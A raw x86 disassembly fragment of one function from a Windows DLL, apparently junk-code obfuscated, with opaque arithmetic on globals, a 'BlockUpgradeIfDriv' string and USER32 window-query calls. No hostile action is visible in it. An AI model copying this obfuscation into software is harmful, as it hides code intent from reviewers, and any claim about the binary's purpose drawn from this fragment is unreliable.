xor eax, 0
mov dword [ebp - 0x658], edx
mov dword [ebp - 0x654], eax
mov ecx, dword [ebp - 0x658]
or ecx, dword [ebp - 0x654]
jne 0x10041b19
mov dword [ebp - 0x3b0], 1
jmp 0x10041b23
mov dword [ebp - 0x3b0], 0
mov edx, dword [ebp - 0x40]
add edx, dword [ebp - 0x3b0]
movsx eax, byte [str.6BlockUpgradeIfDriv]
not eax
imul eax, dword [ebp - 0x3b4]
mov ecx, dword [ebp - 0x5c]
xor ecx, 0x85
add ecx, eax
not ecx
imul ecx, edx
mov dword [ebp - 0x40], ecx
mov dx, word [ebp - 0x70]
mov word [ebp - 0x1c], dx
movzx eax, word [0x100cd0b8]
imul ecx, eax, 0x50fd
mov word [ebp - 0x28], cx
movsx edx, word [0x100cd0ec]
sub edx, 0x19e6
mov byte [0x100cd07f], dl
mov eax, dword [0x100cd0c8]
add eax, dword [0x100cd0a8]
mov dword [0x100cd0c8], eax
jmp case.default.0x10041ab6
movsx eax, byte [0x100cd083]
cdq
mov ecx, 8
imul edx, ecx, 0xe0
add eax, dword [edx + 0x102d2270]
mov byte [0x100cd083], al
movzx eax, byte [ebp - 0x12]
test eax, eax
je 0x10041bc2
movzx ecx, byte [ebp - 0x12]
mov dword [ebp - 0x3b8], ecx
jmp 0x10041bcb
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x3b8], edx
mov eax, dword [ebp - 0x3b8]
mov dword [0x100cd104], eax
movzx ecx, word [ebp - 0x30]
sub ecx, 0x378ca290
mov dword [0x100cd084], ecx
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov cl, 1
call fcn.100998d0
mov dword [0x100cd0c8], eax
movsx edx, word [ebp - 0x34]
movzx eax, byte [0x100cd027]
sub eax, edx
movzx ecx, byte [0x100cd027]
sub ecx, eax
mov byte [0x100cd027], cl
jmp case.default.0x10041ab6
mov edx, dword [ebp - 0x54]
or edx, dword [ebp - 0x50]
jne 0x10041c2d
mov dword [ebp - 0x3bc], 1
jmp 0x10041c37
mov dword [ebp - 0x3bc], 0
movzx eax, word [ebp - 0x28]
add eax, dword [ebp - 0x3bc]
not eax
mov dword [0x100cd084], eax
movzx ecx, word [ebp - 0x30]
sub ecx, 0xa3f0
mov word [ebp - 0x20], cx
movsx edx, word [0x100cd0ec]
imul eax, edx, 0xe2
mov word [ebp - 0x20], ax
movzx ecx, word [0x100cd10c]
test ecx, ecx
je 0x10041c7e
movsx edx, word [ebp - 0x34]
mov dword [ebp - 0x3c0], edx
jmp 0x10041c88
movzx eax, word [ebp - 0x28]
mov dword [ebp - 0x3c0], eax
mov cl, byte [ebp - 0x3c0]
mov byte [0x100cd083], cl
jmp case.default.0x10041ab6
movzx eax, word [ebp - 0x18]
cdq
mov edx, dword [0x100cd0b0]
sub edx, eax
mov byte [ebp - 0x13], dl
movsx eax, word [0x100cd0d8]
cdq
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
add ecx, eax
adc esi, edx
mov dword [0x100cd0c0], ecx
mov dword [0x100cd0c4], esi
movsx eax, byte [ebp - 0x11]
cdq
xor eax, 0xa117d394
xor edx, 0x6bb28
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
mov dl, byte [0x100cd084]
mov byte [0x100cd06f], dl
mov eax, 0xa19b
mov word [0x100cd0b8], ax
jmp case.default.0x10041ab6
imul ecx, dword [ebp - 0x40], 0xcc
mov word [0x100cd0ec], cx
movzx eax, word [ebp - 0x18]
cdq
mov ecx, dword [0x100cd11c]
push ecx
mov ecx, dword [0x100cd118]
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
mov esi, edx
movzx eax, word [ebp - 0x18]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov word [ebp - 0x18], ax
mov edx, dword [ebp - 0x4c]
xor edx, 0x1c9a60cc
mov word [ebp - 0x18], dx
movzx eax, byte [ebp - 0x12]
not eax
mov ecx, dword [ebp - 0x5c]
imul eax, ecx
cdq
mov ecx, dword [ebp - 0x74]
push ecx
mov ecx, dword [ebp - 0x78]
push ecx
push edx
push eax
call fcn.10099890
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
movzx edx, word [ebp - 0x1c]
movzx eax, byte [ebp - 0x13]
imul eax, edx
mov byte [ebp - 0x13], al
mov dword [0x100cd0e4], 0xc286
push 0
push 0
mov ecx, dword [ebp - 0x58]
push ecx
movzx edx, byte [ebp - 0x14]
push edx
push 0
push 0
call fcn.1005b9d0
add esp, 0x18
mov byte [str.6BlockUpgradeIfDriv], al
movsx eax, byte [str.6BlockUpgradeIfDriv]
test eax, eax
je 0x10041e2b
mov dword [ebp - 0x4c], 0xf156
mov ecx, dword [ebp - 0x44]
sub ecx, 0x28
mov word [ebp - 0x20], cx
mov edx, dword [ebp - 0x40]
sub edx, 0x5bf0
mov word [0x100cd0b8], dx
movzx eax, byte [0x100cd082]
cdq
xor eax, dword [ebp - 0x80]
xor edx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
sub ecx, eax
mov eax, dword [ebp - 0x7c]
sbb eax, edx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0x850], edx
add ecx, 0x1740
mov eax, dword [0x100cd0f0]
sub eax, ecx
mov dword [0x100cd0f0], eax
mov ecx, 0x1e58
mov word [0x100cd110], cx
jmp 0x10041ec4
movsx edx, byte [0x100cd083]
test edx, edx
jne 0x10041ec4
movzx eax, word [0x100cd10c]
sub eax, dword [ebp - 0x60]
mov word [0x100cd10c], ax
movsx cx, byte [0x100cd083]
mov word [0x100cd10c], cx
mov edx, dword [ebp - 0x5c]
add edx, 0x5ea3ea9e
mov byte [ebp - 0x13], dl
movzx eax, byte [0x100cd07f]
test eax, eax
jne 0x10041e7c
mov dword [ebp - 0x3c4], 1
jmp 0x10041e86
mov dword [ebp - 0x3c4], 0
movzx ecx, byte [0x100cd06e]
movzx edx, byte [ebp - 0x13]
add edx, ecx
not edx
movsx eax, byte [str.6BlockUpgradeIfDriv]
not eax
movzx ecx, word [ebp - 0x30]
add ecx, eax
imul ecx, edx
movsx edx, word [ebp - 0x34]
imul edx, dword [ebp - 0x3c4]
movzx eax, byte [ebp - 0x12]
or eax, edx
xor eax, ecx
mov dword [ebp - 0x44], eax
mov byte [0x100cd096], 8
xor ecx, ecx
mov byte [ebp - 0x8c], cl
lea edx, [ebp - 0xf80]
push edx
lea eax, [ebp - 0x1188]
push eax
lea ecx, [ebp - 0x8c]
call fcn.10003340
mov ecx, eax
call fcn.100021b0
push eax
call fcn.10034850
add esp, 0xc
test eax, eax
je 0x10042200
movzx ecx, word [ebp - 0x24]
sub ecx, dword [0x100cd0e0]
mov word [ebp - 0x24], cx
movzx edx, word [0x100cd10c]
sub edx, 0xdd2d
movzx eax, byte [ebp - 0x12]
imul eax, edx
mov byte [ebp - 0x12], al
movsx ecx, byte [ebp - 0x11]
imul edx, ecx, 0x28
mov word [ebp - 0x28], dx
movzx eax, byte [ebp - 0x12]
add eax, 0x84
mov dword [0x100cd0c8], eax
movsx ecx, byte [str.6BlockUpgradeIfDriv]
movzx edx, word [ebp - 0x1c]
add edx, ecx
not edx
mov byte [ebp - 0x12], dl
mov eax, 1
imul ecx, eax, 0x1dc8
movsx edx, byte [ecx + 0x103dba78]
movsx eax, word [0x100cd0ec]
add eax, edx
mov word [0x100cd0ec], ax
mov ecx, dword [ebp - 0x70]
or ecx, dword [ebp - 0x6c]
je 0x10042141
movsx edx, byte [0x100cd06f]
movzx eax, byte [ebp - 0x13]
cmp eax, edx
jne 0x10042018
movsx ecx, word [0x100cd0ec]
cmp dword [ebp - 0x44], ecx
jb 0x10042013
movsx eax, word [0x100cd110]
cdq
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], edx
mov edx, dword [ebp - 0x65c]
cmp edx, dword [ebp - 0x6c]
ja 0x10042013
jb 0x10041fc5
mov eax, dword [ebp - 0x660]
cmp eax, dword [ebp - 0x70]
jae 0x10042013
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
je 0x10042013
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
mov dword [ebp - 0x84c], eax
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [ebp - 0x844], eax
jmp 0x1004213c
movsx ecx, byte [0x100cd026]
test ecx, ecx
je 0x1004209f
mov edx, dword [ebp - 0x54]
sub edx, 0x7312
mov dword [ebp - 0x48], edx
mov eax, 0xe9
mov word [ebp - 0x34], ax
xor ecx, ecx
mov dword [ebp - 0x70], 0xce376ab4
mov dword [ebp - 0x6c], ecx
mov dx, word [0x100cd10c]
mov byte [ebp - 0x13], dl
mov eax, dword [0x100cd0f8]
or eax, dword [0x100cd0fc]
jne 0x1004206f
xor ecx, ecx
mov dword [ebp - 0x668], 1
mov dword [ebp - 0x664], ecx
jmp 0x1004207a
xorps xmm0, xmm0
movlpd qword [ebp - 0x668], xmm0
mov edx, dword [ebp - 0x40]
mov eax, dword [0x100cd088]
mov ecx, dword [0x100cd08c]
mov dword [ebp - 0x840], ecx
add eax, dword [ebp - 0x668]
add eax, edx
mov word [ebp - 0x2c], ax
jmp 0x1004213c
movzx edx, word [0x100cd10c]
test edx, edx
je 0x1004213c
movsx eax, word [ebp - 0x20]
test eax, eax
je 0x1004213c
mov ecx, dword [0x100cd11c]
push ecx
mov edx, dword [0x100cd118]
push edx
mov eax, dword [0x100cd11c]
push eax
mov ecx, dword [0x100cd118]
push ecx
call fcn.10099890
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movzx edx, byte [ebp - 0x13]
and edx, 0x2a30
mov byte [0x100cd027], dl
mov eax, dword [0x100cd088]
mov ecx, dword [0x100cd08c]
sub eax, 0xb71a1fb3
sbb ecx, 0
add eax, dword [ebp - 0x78]
adc ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov edx, dword [0x100cd0a8]
xor eax, eax
push 0xe060c
push 0x71851261
push eax
push edx
call fcn.10099890
mov dword [0x100cd104], eax
mov eax, dword [0x100cd0ac]
sar eax, 7
cdq
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
jmp 0x100421f6
cmp dword [ebp - 0x78], 0x6ed2a700
jne 0x10042154
cmp dword [ebp - 0x74], 0
je 0x100421f6
mov ecx, dword [0x100cd104]
sub ecx, 0x689120f0
movsx edx, word [ebp - 0x20]
imul edx, ecx
mov word [ebp - 0x20], dx
mov ecx, dword [ebp - 0x4c]
sub ecx, 0x7d3c86af
not ecx
movzx eax, word [ebp - 0x28]
cdq
mov esi, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0x838], edx
not esi
add esi, eax
not esi
add esi, ecx
movsx eax, word [0x100cd098]
imul ecx, eax, 0x88
movzx eax, byte [ebp - 0x13]
xor eax, dword [ebp - 0x58]
add eax, ecx
cdq
sub eax, esi
mov byte [0x100cd082], al
movzx edx, word [0x100cd0b8]
imul edx, dword [0x100cd0e0]
mov word [ebp - 0x30], dx
movzx eax, word [ebp - 0x30]
cdq
mov ecx, eax
and ecx, dword [ebp - 0x78]
movzx eax, word [ebp - 0x30]
cdq
add eax, ecx
mov word [ebp - 0x30], ax
mov edx, dword [0x100cd0e4]
xor eax, eax
push 0x79b8a
push 0x1687c36e
push eax
push edx
call fcn.10099890
mov dword [ebp - 0x40], eax
mov eax, 1
jmp 0x100423d0
push 0x10
push 0
mov ecx, dword [ebp - 0x5c]
push ecx
push 0
push 0x27
call fcn.1005e9c0
add esp, 0x14
mov word [0x100cd110], ax
movsx edx, word [0x100cd110]
test edx, edx
jne 0x10042231
mov dword [ebp - 0x3c8], 1
jmp 0x1004223b
mov dword [ebp - 0x3c8], 0
movsx eax, word [0x100cd110]
cmp eax, 0x3e
jne 0x10042253
mov dword [ebp - 0x3cc], 1
jmp 0x1004225d
mov dword [ebp - 0x3cc], 0
mov ecx, dword [ebp - 0x3c8]
cmp ecx, dword [ebp - 0x3cc]
jge 0x10042362
movsx edx, byte [0x100cd026]
add edx, 0x5c350eeb
xor eax, eax
mov dword [0x100cd0c0], edx
mov dword [0x100cd0c4], eax
mov byte [ebp - 0x14], 0xa3
mov ecx, dword [ebp - 0x4c]
shl ecx, 4
mov byte [ebp - 0x12], cl
movzx edx, byte [0x100cd06e]
movzx eax, byte [0x100cd07f]
xor eax, edx
cdq
mov esi, eax
mov edi, edx
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
push edx
push eax
mov eax, dword [0x100cd0b4]
push eax
mov ecx, dword [0x100cd0b0]
push ecx
call fcn.10099890
not eax
not edx
xor eax, esi
xor edx, edi
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], edx
mov edx, dword [ebp - 0x670]
or edx, dword [ebp - 0x66c]
jne 0x100422f5
mov dword [ebp - 0x3d0], 1
jmp 0x100422ff
mov dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x3d0]
mov dword [0x100cd090], eax
cmp dword [ebp - 0x44], 0
je 0x1004232a
mov ecx, dword [0x100cd0a0]
mov edx, dword [0x100cd0a4]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4b8], edx
jmp 0x1004233d
mov eax, dword [0x100cd090]
xor ecx, ecx
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
mov edx, dword [ebp - 0x4bc]
mov dword [0x100cd090], edx
movzx eax, byte [ebp - 0x12]
cdq
mov ecx, eax
add ecx, 0x86e94c98
movzx eax, byte [ebp - 0x12]
cdq
add eax, ecx
mov byte [ebp - 0x12], al
jmp 0x100423ce
movzx eax, word [ebp - 0x24]
cdq
sub eax, 0xceca75a0
mov word [0x100cd0dc], ax
movsx edx, word [0x100cd0ec]
imul edx, dword [0x100cd084]
movsx eax, word [0x100cd0ec]
imul eax, edx
mov word [0x100cd0ec], ax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x834], edx
not ecx
add ecx, 0x67
mov eax, dword [0x100cd0c8]
cdq
sub eax, dword [0x100cd0d0]
sub eax, ecx
movzx ecx, byte [ebp - 0x14]
mov edx, dword [0x100cd090]
sub edx, ecx
add edx, dword [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x5c], edx
mov byte [0x100cd026], 0x21
mov byte [ebp - 0x11], 0xc1
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret